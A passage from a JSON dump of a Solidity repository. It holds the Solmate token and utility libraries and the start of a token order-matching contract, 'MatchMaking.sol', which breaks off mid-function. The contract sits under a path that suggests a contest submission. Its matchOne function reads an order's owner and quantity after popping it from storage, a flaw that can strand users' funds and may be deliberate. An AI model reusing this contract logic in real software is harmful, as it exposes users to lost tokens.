getApproved[id];\n\n        emit Transfer(from, to, id);\n    }\n\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 id\n    ) public virtual {\n        transferFrom(from, to, id);\n\n        require(\n            to.code.length == 0 ||\n                ERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, \"\") ==\n                ERC721TokenReceiver.onERC721Received.selector,\n            \"UNSAFE_RECIPIENT\"\n        );\n    }\n\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 id,\n        bytes memory data\n    ) public virtual {\n        transferFrom(from, to, id);\n\n        require(\n            to.code.length == 0 ||\n                ERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, data) ==\n                ERC721TokenReceiver.onERC721Received.selector,\n            \"UNSAFE_RECIPIENT\"\n        );\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                              ERC165 LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) {\n        return\n            interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165\n            interfaceId == 0x80ac58cd || // ERC165 Interface ID for ERC721\n            interfaceId == 0x5b5e139f; // ERC165 Interface ID for ERC721Metadata\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                       INTERNAL MINT/BURN LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function _mint(address to, uint256 id) internal virtual {\n        require(to != address(0), \"INVALID_RECIPIENT\");\n\n        require(ownerOf[id] == address(0), \"ALREADY_MINTED\");\n\n        // Counter overflow is incredibly unrealistic.\n        unchecked {\n            balanceOf[to]++;\n        }\n\n        ownerOf[id] = to;\n\n        emit Transfer(address(0), to, id);\n    }\n\n    function _burn(uint256 id) internal virtual {\n        address owner = ownerOf[id];\n\n        require(ownerOf[id] != address(0), \"NOT_MINTED\");\n\n        // Ownership check above ensures no underflow.\n        unchecked {\n            balanceOf[owner]--;\n        }\n\n        delete ownerOf[id];\n\n        delete getApproved[id];\n\n        emit Transfer(owner, address(0), id);\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                       INTERNAL SAFE MINT LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function _safeMint(address to, uint256 id) internal virtual {\n        _mint(to, id);\n\n        require(\n            to.code.length == 0 ||\n                ERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, \"\") ==\n                ERC721TokenReceiver.onERC721Received.selector,\n            \"UNSAFE_RECIPIENT\"\n        );\n    }\n\n    function _safeMint(\n        address to,\n        uint256 id,\n        bytes memory data\n    ) internal virtual {\n        _mint(to, id);\n\n        require(\n            to.code.length == 0 ||\n                ERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, data) ==\n                ERC721TokenReceiver.onERC721Received.selector,\n            \"UNSAFE_RECIPIENT\"\n        );\n    }\n}\n\n/// @notice A generic interface for a contract which properly accepts ERC721 tokens.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)\ninterface ERC721TokenReceiver {\n    function onERC721Received(\n        address operator,\n        address from,\n        uint256 id,\n        bytes calldata data\n    ) external returns (bytes4);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/tokens/WETH.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {ERC20} from \"./ERC20.sol\";\n\nimport {SafeTransferLib} from \"../utils/SafeTransferLib.sol\";\n\n/// @notice Minimalist and modern Wrapped Ether implementation.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/WETH.sol)\n/// @author Inspired by WETH9 (https://github.com/dapphub/ds-weth/blob/master/src/weth9.sol)\ncontract WETH is ERC20(\"Wrapped Ether\", \"WETH\", 18) {\n    using SafeTransferLib for address;\n\n    event Deposit(address indexed from, uint256 amount);\n\n    event Withdrawal(address indexed to, uint256 amount);\n\n    function deposit() public payable virtual {\n        _mint(msg.sender, msg.value);\n\n        emit Deposit(msg.sender, msg.value);\n    }\n\n    function withdraw(uint256 amount) public virtual {\n        _burn(msg.sender, amount);\n\n        emit Withdrawal(msg.sender, amount);\n\n        msg.sender.safeTransferETH(amount);\n    }\n\n    receive() external payable virtual {\n        deposit();\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/utils/Bytes32AddressLib.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Library for converting between addresses and bytes32 values.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/Bytes32AddressLib.sol)\nlibrary Bytes32AddressLib {\n    function fromLast20Bytes(bytes32 bytesValue) internal pure returns (address) {\n        return address(uint160(uint256(bytesValue)));\n    }\n\n    function fillLast12Bytes(address addressValue) internal pure returns (bytes32) {\n        return bytes32(bytes20(addressValue));\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/utils/CREATE3.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {Bytes32AddressLib} from \"./Bytes32AddressLib.sol\";\n\n/// @notice Deploy to deterministic addresses without an initcode factor.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/CREATE3.sol)\n/// @author Modified from 0xSequence (https://github.com/0xSequence/create3/blob/master/contracts/Create3.sol)\nlibrary CREATE3 {\n    using Bytes32AddressLib for bytes32;\n\n    //--------------------------------------------------------------------------------//\n    // Opcode     | Opcode + Arguments    | Description      | Stack View             //\n    //--------------------------------------------------------------------------------//\n    // 0x36       |  0x36                 | CALLDATASIZE     | size                   //\n    // 0x3d       |  0x3d                 | RETURNDATASIZE   | 0 size                 //\n    // 0x3d       |  0x3d                 | RETURNDATASIZE   | 0 0 size               //\n    // 0x37       |  0x37                 | CALLDATACOPY     |                        //\n    // 0x36       |  0x36                 | CALLDATASIZE     | size                   //\n    // 0x3d       |  0x3d                 | RETURNDATASIZE   | 0 size                 //\n    // 0x34       |  0x34                 | CALLVALUE        | value 0 size           //\n    // 0xf0       |  0xf0                 | CREATE           | newContract            //\n    //--------------------------------------------------------------------------------//\n    // Opcode     | Opcode + Arguments    | Description      | Stack View             //\n    //--------------------------------------------------------------------------------//\n    // 0x67       |  0x67XXXXXXXXXXXXXXXX | PUSH8 bytecode   | bytecode               //\n    // 0x3d       |  0x3d                 | RETURNDATASIZE   | 0 bytecode             //\n    // 0x52       |  0x52                 | MSTORE           |                        //\n    // 0x60       |  0x6008               | PUSH1 08         | 8                      //\n    // 0x60       |  0x6018               | PUSH1 18         | 24 8                   //\n    // 0xf3       |  0xf3                 | RETURN           |                        //\n    //--------------------------------------------------------------------------------//\n    bytes internal constant PROXY_BYTECODE = hex\"67_36_3d_3d_37_36_3d_34_f0_3d_52_60_08_60_18_f3\";\n\n    bytes32 internal constant PROXY_BYTECODE_HASH = keccak256(PROXY_BYTECODE);\n\n    function deploy(\n        bytes32 salt,\n        bytes memory creationCode,\n        uint256 value\n    ) internal returns (address deployed) {\n        bytes memory proxyChildBytecode = PROXY_BYTECODE;\n\n        address proxy;\n        assembly {\n            // Deploy a new contract with our pre-made bytecode via CREATE2.\n            // We start 32 bytes into the code to avoid copying the byte length.\n            proxy := create2(0, add(proxyChildBytecode, 32), mload(proxyChildBytecode), salt)\n        }\n        require(proxy != address(0), \"DEPLOYMENT_FAILED\");\n\n        deployed = getDeployed(salt);\n        (bool success, ) = proxy.call{value: value}(creationCode);\n        require(success && deployed.code.length != 0, \"INITIALIZATION_FAILED\");\n    }\n\n    function getDeployed(bytes32 salt) internal view returns (address) {\n        address proxy = keccak256(\n            abi.encodePacked(\n                // Prefix:\n                bytes1(0xFF),\n                // Creator:\n                address(this),\n                // Salt:\n                salt,\n                // Bytecode hash:\n                PROXY_BYTECODE_HASH\n            )\n        ).fromLast20Bytes();\n\n        return\n            keccak256(\n                abi.encodePacked(\n                    // 0xd6 = 0xc0 (short RLP prefix) + 0x16 (length of: 0x94 ++ proxy ++ 0x01)\n                    // 0x94 = 0x80 + 0x14 (0x14 = the length of an address, 20 bytes, in hex)\n                    hex\"d6_94\",\n                    proxy,\n                    hex\"01\" // Nonce of the proxy contract (1)\n                )\n            ).fromLast20Bytes();\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/utils/FixedPointMathLib.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Arithmetic library with operations for fixed-point numbers.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/FixedPointMathLib.sol)\n/// @author Inspired by USM (https://github.com/usmfum/USM/blob/master/contracts/WadMath.sol)\nlibrary FixedPointMathLib {\n    /*///////////////////////////////////////////////////////////////\n                    SIMPLIFIED FIXED POINT OPERATIONS\n    //////////////////////////////////////////////////////////////*/\n\n    uint256 internal constant WAD = 1e18; // The scalar of ETH and most ERC20s.\n\n    function mulWadDown(uint256 x, uint256 y) internal pure returns (uint256) {\n        return mulDivDown(x, y, WAD); // Equivalent to (x * y) / WAD rounded down.\n    }\n\n    function mulWadUp(uint256 x, uint256 y) internal pure returns (uint256) {\n        return mulDivUp(x, y, WAD); // Equivalent to (x * y) / WAD rounded up.\n    }\n\n    function divWadDown(uint256 x, uint256 y) internal pure returns (uint256) {\n        return mulDivDown(x, WAD, y); // Equivalent to (x * WAD) / y rounded down.\n    }\n\n    function divWadUp(uint256 x, uint256 y) internal pure returns (uint256) {\n        return mulDivUp(x, WAD, y); // Equivalent to (x * WAD) / y rounded up.\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                    LOW LEVEL FIXED POINT OPERATIONS\n    //////////////////////////////////////////////////////////////*/\n\n    function mulDivDown(\n        uint256 x,\n        uint256 y,\n        uint256 denominator\n    ) internal pure returns (uint256 z) {\n        assembly {\n            // Store x * y in z for now.\n            z := mul(x, y)\n\n            // Equivalent to require(denominator != 0 && (x == 0 || (x * y) / x == y))\n            if iszero(and(iszero(iszero(denominator)), or(iszero(x), eq(div(z, x), y)))) {\n                revert(0, 0)\n            }\n\n            // Divide z by the denominator.\n            z := div(z, denominator)\n        }\n    }\n\n    function mulDivUp(\n        uint256 x,\n        uint256 y,\n        uint256 denominator\n    ) internal pure returns (uint256 z) {\n        assembly {\n            // Store x * y in z for now.\n            z := mul(x, y)\n\n            // Equivalent to require(denominator != 0 && (x == 0 || (x * y) / x == y))\n            if iszero(and(iszero(iszero(denominator)), or(iszero(x), eq(div(z, x), y)))) {\n                revert(0, 0)\n            }\n\n            // First, divide z - 1 by the denominator and add 1.\n            // We allow z - 1 to underflow if z is 0, because we multiply the\n            // end result by 0 if z is zero, ensuring we return 0 if z is zero.\n            z := mul(iszero(iszero(z)), add(div(sub(z, 1), denominator), 1))\n        }\n    }\n\n    function rpow(\n        uint256 x,\n        uint256 n,\n        uint256 scalar\n    ) internal pure returns (uint256 z) {\n        assembly {\n            switch x\n            case 0 {\n                switch n\n                case 0 {\n                    // 0 ** 0 = 1\n                    z := scalar\n                }\n                default {\n                    // 0 ** n = 0\n                    z := 0\n                }\n            }\n            default {\n                switch mod(n, 2)\n                case 0 {\n                    // If n is even, store scalar in z for now.\n                    z := scalar\n                }\n                default {\n                    // If n is odd, store x in z for now.\n                    z := x\n                }\n\n                // Shifting right by 1 is like dividing by 2.\n                let half := shr(1, scalar)\n\n                for {\n                    // Shift n right by 1 before looping to halve it.\n                    n := shr(1, n)\n                } n {\n                    // Shift n right by 1 each iteration to halve it.\n                    n := shr(1, n)\n                } {\n                    // Revert immediately if x ** 2 would overflow.\n                    // Equivalent to iszero(eq(div(xx, x), x)) here.\n                    if shr(128, x) {\n                        revert(0, 0)\n                    }\n\n                    // Store x squared.\n                    let xx := mul(x, x)\n\n                    // Round to the nearest number.\n                    let xxRound := add(xx, half)\n\n                    // Revert if xx + half overflowed.\n                    if lt(xxRound, xx) {\n                        revert(0, 0)\n                    }\n\n                    // Set x to scaled xxRound.\n                    x := div(xxRound, scalar)\n\n                    // If n is even:\n                    if mod(n, 2) {\n                        // Compute z * x.\n                        let zx := mul(z, x)\n\n                        // If z * x overflowed:\n                        if iszero(eq(div(zx, x), z)) {\n                            // Revert if x is non-zero.\n                            if iszero(iszero(x)) {\n                                revert(0, 0)\n                            }\n                        }\n\n                        // Round to the nearest number.\n                        let zxRound := add(zx, half)\n\n                        // Revert if zx + half overflowed.\n                        if lt(zxRound, zx) {\n                            revert(0, 0)\n                        }\n\n                        // Return properly scaled zxRound.\n                        z := div(zxRound, scalar)\n                    }\n                }\n            }\n        }\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                        GENERAL NUMBER UTILITIES\n    //////////////////////////////////////////////////////////////*/\n\n    function sqrt(uint256 x) internal pure returns (uint256 z) {\n        assembly {\n            // Start off with z at 1.\n            z := 1\n\n            // Used below to help find a nearby power of 2.\n            let y := x\n\n            // Find the lowest power of 2 that is at least sqrt(x).\n            if iszero(lt(y, 0x100000000000000000000000000000000)) {\n                y := shr(128, y) // Like dividing by 2 ** 128.\n                z := shl(64, z)\n            }\n            if iszero(lt(y, 0x10000000000000000)) {\n                y := shr(64, y) // Like dividing by 2 ** 64.\n                z := shl(32, z)\n            }\n            if iszero(lt(y, 0x100000000)) {\n                y := shr(32, y) // Like dividing by 2 ** 32.\n                z := shl(16, z)\n            }\n            if iszero(lt(y, 0x10000)) {\n                y := shr(16, y) // Like dividing by 2 ** 16.\n                z := shl(8, z)\n            }\n            if iszero(lt(y, 0x100)) {\n                y := shr(8, y) // Like dividing by 2 ** 8.\n                z := shl(4, z)\n            }\n            if iszero(lt(y, 0x10)) {\n                y := shr(4, y) // Like dividing by 2 ** 4.\n                z := shl(2, z)\n            }\n            if iszero(lt(y, 0x8)) {\n                // Equivalent to 2 ** z.\n                z := shl(1, z)\n            }\n\n            // Shifting right by 1 is like dividing by 2.\n            z := shr(1, add(z, div(x, z)))\n            z := shr(1, add(z, div(x, z)))\n            z := shr(1, add(z, div(x, z)))\n            z := shr(1, add(z, div(x, z)))\n            z := shr(1, add(z, div(x, z)))\n            z := shr(1, add(z, div(x, z)))\n            z := shr(1, add(z, div(x, z)))\n\n            // Compute a rounded down version of z.\n            let zRoundDown := div(x, z)\n\n            // If zRoundDown is smaller, use it.\n            if lt(zRoundDown, z) {\n                z := zRoundDown\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/utils/ReentrancyGuard.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Gas optimized reentrancy protection for smart contracts.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/ReentrancyGuard.sol)\n/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol)\nabstract contract ReentrancyGuard {\n    uint256 private locked = 1;\n\n    modifier nonReentrant() {\n        require(locked == 1, \"REENTRANCY\");\n\n        locked = 2;\n\n        _;\n\n        locked = 1;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/utils/SSTORE2.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Read and write to persistent storage at a fraction of the cost.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SSTORE2.sol)\n/// @author Modified from 0xSequence (https://github.com/0xSequence/sstore2/blob/master/contracts/SSTORE2.sol)\nlibrary SSTORE2 {\n    uint256 internal constant DATA_OFFSET = 1; // We skip the first byte as it's a STOP opcode to ensure the contract can't be called.\n\n    /*///////////////////////////////////////////////////////////////\n                               WRITE LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function write(bytes memory data) internal returns (address pointer) {\n        // Prefix the bytecode with a STOP opcode to ensure it cannot be called.\n        bytes memory runtimeCode = abi.encodePacked(hex\"00\", data);\n\n        bytes memory creationCode = abi.encodePacked(\n            //---------------------------------------------------------------------------------------------------------------//\n            // Opcode  | Opcode + Arguments  | Description  | Stack View                                                     //\n            //---------------------------------------------------------------------------------------------------------------//\n            // 0x60    |  0x600B             | PUSH1 11     | codeOffset                                                     //\n            // 0x59    |  0x59               | MSIZE        | 0 codeOffset                                                   //\n            // 0x81    |  0x81               | DUP2         | codeOffset 0 codeOffset                                        //\n            // 0x38    |  0x38               | CODESIZE     | codeSize codeOffset 0 codeOffset                               //\n            // 0x03    |  0x03               | SUB          | (codeSize - codeOffset) 0 codeOffset                           //\n            // 0x80    |  0x80               | DUP          | (codeSize - codeOffset) (codeSize - codeOffset) 0 codeOffset   //\n            // 0x92    |  0x92               | SWAP3        | codeOffset (codeSize - codeOffset) 0 (codeSize - codeOffset)   //\n            // 0x59    |  0x59               | MSIZE        | 0 codeOffset (codeSize - codeOffset) 0 (codeSize - codeOffset) //\n            // 0x39    |  0x39               | CODECOPY     | 0 (codeSize - codeOffset)                                      //\n            // 0xf3    |  0xf3               | RETURN       |                                                                //\n            //---------------------------------------------------------------------------------------------------------------//\n            hex\"60_0B_59_81_38_03_80_92_59_39_F3\", // Returns all code in the contract except for the first 11 (0B in hex) bytes.\n            runtimeCode // The bytecode we want the contract to have after deployment. Capped at 1 byte less than the code size limit.\n        );\n\n        assembly {\n            // Deploy a new contract with the generated creation code.\n            // We start 32 bytes into the code to avoid copying the byte length.\n            pointer := create(0, add(creationCode, 32), mload(creationCode))\n        }\n\n        require(pointer != address(0), \"DEPLOYMENT_FAILED\");\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                               READ LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function read(address pointer) internal view returns (bytes memory) {\n        return readBytecode(pointer, DATA_OFFSET, pointer.code.length - DATA_OFFSET);\n    }\n\n    function read(address pointer, uint256 start) internal view returns (bytes memory) {\n        start += DATA_OFFSET;\n\n        return readBytecode(pointer, start, pointer.code.length - start);\n    }\n\n    function read(\n        address pointer,\n        uint256 start,\n        uint256 end\n    ) internal view returns (bytes memory) {\n        start += DATA_OFFSET;\n        end += DATA_OFFSET;\n\n        require(pointer.code.length >= end, \"OUT_OF_BOUNDS\");\n\n        return readBytecode(pointer, start, end - start);\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                         INTERNAL HELPER LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function readBytecode(\n        address pointer,\n        uint256 start,\n        uint256 size\n    ) private view returns (bytes memory data) {\n        assembly {\n            // Get a pointer to some free memory.\n            data := mload(0x40)\n\n            // Update the free memory pointer to prevent overriding our data.\n            // We use and(x, not(31)) as a cheaper equivalent to sub(x, mod(x, 32)).\n            // Adding 31 to size and running the result through the logic above ensures\n            // the memory pointer remains word-aligned, following the Solidity convention.\n            mstore(0x40, add(data, and(add(add(size, 32), 31), not(31))))\n\n            // Store the size of the data in the first 32 byte chunk of free memory.\n            mstore(data, size)\n\n            // Copy the code into memory right after the 32 bytes we used to store the size.\n            extcodecopy(pointer, add(data, 32), start, size)\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/utils/SafeCastLib.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Safe unsigned integer casting library that reverts on overflow.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeCastLib.sol)\n/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeCast.sol)\nlibrary SafeCastLib {\n    function safeCastTo248(uint256 x) internal pure returns (uint248 y) {\n        require(x <= type(uint248).max);\n\n        y = uint248(x);\n    }\n\n    function safeCastTo224(uint256 x) internal pure returns (uint224 y) {\n        require(x <= type(uint224).max);\n\n        y = uint224(x);\n    }\n\n    function safeCastTo128(uint256 x) internal pure returns (uint128 y) {\n        require(x <= type(uint128).max);\n\n        y = uint128(x);\n    }\n\n    function safeCastTo96(uint256 x) internal pure returns (uint96 y) {\n        require(x <= type(uint96).max);\n\n        y = uint96(x);\n    }\n\n    function safeCastTo64(uint256 x) internal pure returns (uint64 y) {\n        require(x <= type(uint64).max);\n\n        y = uint64(x);\n    }\n\n    function safeCastTo32(uint256 x) internal pure returns (uint32 y) {\n        require(x <= type(uint32).max);\n\n        y = uint32(x);\n    }\n\n    function safeCastTo8(uint256 x) internal pure returns (uint8 y) {\n        require(x <= type(uint8).max);\n\n        y = uint8(x);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/utils/SafeTransferLib.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {ERC20} from \"../tokens/ERC20.sol\";\n\n/// @notice Safe ETH and ERC20 transfer library that gracefully handles missing return values.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeTransferLib.sol)\n/// @author Modified from Gnosis (https://github.com/gnosis/gp-v2-contracts/blob/main/src/contracts/libraries/GPv2SafeERC20.sol)\n/// @dev Use with caution! Some functions in this library knowingly create dirty bits at the destination of the free memory pointer.\n/// @dev Note that none of the functions in this library check that a token has code at all! That responsibility is delegated to the caller.\nlibrary SafeTransferLib {\n    /*///////////////////////////////////////////////////////////////\n                            ETH OPERATIONS\n    //////////////////////////////////////////////////////////////*/\n\n    function safeTransferETH(address to, uint256 amount) internal {\n        bool callStatus;\n\n        assembly {\n            // Transfer the ETH and store if it succeeded or not.\n            callStatus := call(gas(), to, amount, 0, 0, 0, 0)\n        }\n\n        require(callStatus, \"ETH_TRANSFER_FAILED\");\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                           ERC20 OPERATIONS\n    //////////////////////////////////////////////////////////////*/\n\n    function safeTransferFrom(\n        ERC20 token,\n        address from,\n        address to,\n        uint256 amount\n    ) internal {\n        bool callStatus;\n\n        assembly {\n            // Get a pointer to some free memory.\n            let freeMemoryPointer := mload(0x40)\n\n            // Write the abi-encoded calldata to memory piece by piece:\n            mstore(freeMemoryPointer, 0x23b872dd00000000000000000000000000000000000000000000000000000000) // Begin with the function selector.\n            mstore(add(freeMemoryPointer, 4), and(from, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the \"from\" argument.\n            mstore(add(freeMemoryPointer, 36), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the \"to\" argument.\n            mstore(add(freeMemoryPointer, 68), amount) // Finally append the \"amount\" argument. No mask as it's a full 32 byte value.\n\n            // Call the token and store if it succeeded or not.\n            // We use 100 because the calldata length is 4 + 32 * 3.\n            callStatus := call(gas(), token, 0, freeMemoryPointer, 100, 0, 0)\n        }\n\n        require(didLastOptionalReturnCallSucceed(callStatus), \"TRANSFER_FROM_FAILED\");\n    }\n\n    function safeTransfer(\n        ERC20 token,\n        address to,\n        uint256 amount\n    ) internal {\n        bool callStatus;\n\n        assembly {\n            // Get a pointer to some free memory.\n            let freeMemoryPointer := mload(0x40)\n\n            // Write the abi-encoded calldata to memory piece by piece:\n            mstore(freeMemoryPointer, 0xa9059cbb00000000000000000000000000000000000000000000000000000000) // Begin with the function selector.\n            mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the \"to\" argument.\n            mstore(add(freeMemoryPointer, 36), amount) // Finally append the \"amount\" argument. No mask as it's a full 32 byte value.\n\n            // Call the token and store if it succeeded or not.\n            // We use 68 because the calldata length is 4 + 32 * 2.\n            callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0)\n        }\n\n        require(didLastOptionalReturnCallSucceed(callStatus), \"TRANSFER_FAILED\");\n    }\n\n    function safeApprove(\n        ERC20 token,\n        address to,\n        uint256 amount\n    ) internal {\n        bool callStatus;\n\n        assembly {\n            // Get a pointer to some free memory.\n            let freeMemoryPointer := mload(0x40)\n\n            // Write the abi-encoded calldata to memory piece by piece:\n            mstore(freeMemoryPointer, 0x095ea7b300000000000000000000000000000000000000000000000000000000) // Begin with the function selector.\n            mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the \"to\" argument.\n            mstore(add(freeMemoryPointer, 36), amount) // Finally append the \"amount\" argument. No mask as it's a full 32 byte value.\n\n            // Call the token and store if it succeeded or not.\n            // We use 68 because the calldata length is 4 + 32 * 2.\n            callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0)\n        }\n\n        require(didLastOptionalReturnCallSucceed(callStatus), \"APPROVE_FAILED\");\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                         INTERNAL HELPER LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function didLastOptionalReturnCallSucceed(bool callStatus) private pure returns (bool success) {\n        assembly {\n            // Get how many bytes the call returned.\n            let returnDataSize := returndatasize()\n\n            // If the call reverted:\n            if iszero(callStatus) {\n                // Copy the revert message into memory.\n                returndatacopy(0, 0, returnDataSize)\n\n                // Revert with the same message.\n                revert(0, returnDataSize)\n            }\n\n            switch returnDataSize\n            case 32 {\n                // Copy the return data into memory.\n                returndatacopy(0, 0, returnDataSize)\n\n                // Set success to whether it returned true.\n                success := iszero(iszero(mload(0)))\n            }\n            case 0 {\n                // There was no return data.\n                success := 1\n            }\n            default {\n                // It returned some malformed output.\n                success := 0\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/src/MatchMaking.sol",
    "content": "// SPDX-License-Identifier: GPL-3\npragma solidity >=0.8.6;\n\nimport \"solmate/tokens/ERC20.sol\";\n\nuint constant TH = 10**9;\n\nenum Kind {\n\tBuy,\n\tSell\n}\n\nstruct Order {\n\tKind kind;\n\t// Price is defined as number of token2 per 10^9 token1\n\t// to allow some granularity in the swaps without using\n\t// complicated fixed point stuff.\n\t// price = 10^9 means the ratio is 1:1\n\t// price = 1 means 1 token2 = 10^9 token1\n\t// price = 10^10 means 10 token2 = 1 token1\n\tuint price;\n\tuint qtt;\n\taddress who;\n}\n\nfunction lt(Order storage a, Order storage b) view returns (bool) {\n\treturn a.price < b.price;\n}\n\nfunction gt(Order storage a, Order storage b) view returns (bool) {\n\treturn a.price > b.price;\n}\n\nfunction min(uint a, uint b) pure returns (uint) {\n\treturn a < b ? a : b;\n}\n\ncontract MatchMaking {\n\t// Sell token1, buy token2\n\tERC20 immutable token1;\n\tERC20 immutable token2;\n\n\t// Keep two lists:\n\t// Sell list, sorted dec, smaller price matches first.\n\t// Buy list, sorted inc, bigger price matches first.\n\n\tOrder[] public oSell;\n\tOrder[] public oBuy;\n\n\tconstructor(ERC20 t1, ERC20 t2) {\n\t\ttoken1 = t1;\n\t\ttoken2 = t2;\n\t}\n\n\tbool lock;\n\tmodifier noReentrancy {\n\t\trequire(!lock);\n\t\tlock = true;\n\t\t_;\n\t\tlock = false;\n\t}\n\n\t/** PUBLIC FUNCTIONS */\n\n\tfunction matchAll() public noReentrancy {\n\t\twhile (matchOne()) {}\n\t}\n\n\tfunction push(Order memory o) public noReentrancy {\n\t\trequire(isValid(o.kind, o.price, o.qtt));\n\n\t\tif (o.kind == Kind.Sell) {\n\t\t\t// User gives token1 to receive token2.\n\t\t\trequire(token1.transferFrom(msg.sender, address(this), o.qtt));\n\t\t\tinsertSell(o);\n\t\t} else {\n\t\t\t// User gives token2 to receive token1.\n\t\t\trequire(token2.transferFrom(msg.sender, address(this), o.qtt));\n\t\t\tinsertBuy(o);\n\t\t}\n\t}\n\n\t// Allow the user to cancel one sell or one buy order at a time\n\t// so their tokens aren't stuck forever.\n\n\tfunction cancelOneSellOrder() public noReentrancy {\n\t\t// Adjust data structures before returning funds.\n\t\tuint q = cancelOneOrder(oSell);\n\t\treturnFunds(token1, msg.sender, q);\n\t}\n\n\tfunction cancelOneBuyOrder() public noReentrancy {\n\t\t// Adjust data structures before returning funds.\n\t\tuint q = cancelOneOrder(oBuy);\n\t\treturnFunds(token2, msg.sender, q);\n\t}\n\n\t/************************************************/\n\n\t/* MUTATING STATE INTERNAL FUNCTIONS */\n\n\tfunction matchOne() internal returns (bool) {\n\t\tif (oSell.length == 0 || oBuy.length == 0)\n\t\t\treturn false;\n\n\t\tOrder storage s = oSell[oSell.length - 1];\n\t\tOrder storage b = oBuy[oBuy.length - 1];\n\n\t\t// Only match if price is the same.\n\t\tif (s.price != b.price)\n\t\t\treturn false;\n\n\t\t// Even if one order would receive more than its counterpart offers,\n\t\t// we limit the amount of this order to the quantity that the other provides.\n\t\tuint sGets = min(receives(s.kind, s.price, s.qtt), b.qtt);\n\t\tuint bGets = min(receives(b.kind, b.price, b.qtt), s.qtt);\n\n\t\t// Used up tokens.\n\t\ts.qtt -= bGets;\n\t\tb.qtt -= sGets;\n\n\t\trequire(token2.transfer(s.who, sGets));\n\t\trequire(token1.transfer(b.who, bGets));\n\n\t\t// The orders may have become invalid now if they don't\n\t\t// have enough tokens to swap into at least 1 of the other.\n\t\t// In that case they get cancelled and the remaining funds\n\t\t// are returned.\n\n\t\tif (!isValid(s.kind, s.price, s.qtt)) {\n\t\t\toSell.pop();\n\t\t\treturnFunds(token1, s.who, s.qtt);\n\t\t}\n\n\t\tif (!isValid(b.kind, b.price, b.qtt)) {\n\t\t\toBuy.pop();\n\t\t\treturnFunds(token2, b.who, b.qtt);\n\t\t}\n\n\t\treturn true;\n\t}\n\n\tfunction insertSell(Order memory coke) internal {\n\t\t// oSell is sorted dec, so our compare function is gt\n\t\t// for the backwards search.\n\t\tupdate(oSell, coke, gt);\n\t}\n\n\tfunction insertBuy(Order memory coke) internal {\n\t\t// oSell is sorted inc, so our compare function is lt\n\t\t// for the 